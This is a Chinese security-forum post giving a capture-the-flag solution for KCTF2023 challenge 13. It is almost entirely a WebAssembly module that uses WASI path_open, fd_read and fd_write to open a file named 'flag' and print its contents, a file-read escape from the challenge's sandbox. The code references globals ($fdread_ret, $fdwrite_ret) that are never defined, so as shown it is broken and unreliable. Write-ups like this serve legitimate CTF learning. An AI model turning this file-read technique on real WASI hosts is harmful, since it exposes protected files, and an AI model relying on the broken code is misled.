首页
社区
课程
招聘
[原创]KCTF2023 第十三题 共存之道
2023-10-4 12:10 3982

[原创]KCTF2023 第十三题 共存之道

2023-10-4 12:10
3982

有文件读取相关API,直接ORW一把梭:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
(module
    (import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
    (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
    (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
 
    (memory (export "memory") 1)
 
    (global $ret1 i32 (i32.const 1111))
 
    (data (i32.const 2222) "flag")
 
    (global $fd_ptr i32 (i32.const 3333))
 
    (global $buf i32 (i32.const 4444))
 
    (global $ret2 i32 (i32.const 5555))
 
    (global $temp_store i32 (i32.const 6666))
     
    (func $main (export "_start")
         
        (local $errno i32)
        (local $my_variable i32)
        (i32.const 123)
        (i32.store (global.get $buf) (global.get $temp_store))
        (i32.store (i32.add (global.get $buf) (i32.const 4)) (i32.const 666))
        (local.set $my_variable)
        (local.set $errno
            (call $path_open
                (i32.const 3)         
                (i32.const 0x1)       
                (i32.const 2222)      
                (i32.const 10)         
                (i32.const 0x0)        
                (i64.const 2)          
                (i64.const 2)         
                (i32.const 0x0)   
                (global.get $fd_ptr)))
         
        (local.set $errno
            (call $fd_read
                (i32.load (global.get $fd_ptr))
                (global.get $buf)
                (local.get $my_variable)
                (global.get $fdread_ret)))
         
       (local.set  $errno (call $fd_write
            (i32.const 1)
            (global.get $buf)
            (local.get $my_variable)
            (global.get $fdwrite_ret)
        ))
    )
)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
打赏
分享
最新回复 (1)
雪    币: 20910
活跃值: (30213)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-10-4 23:05
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回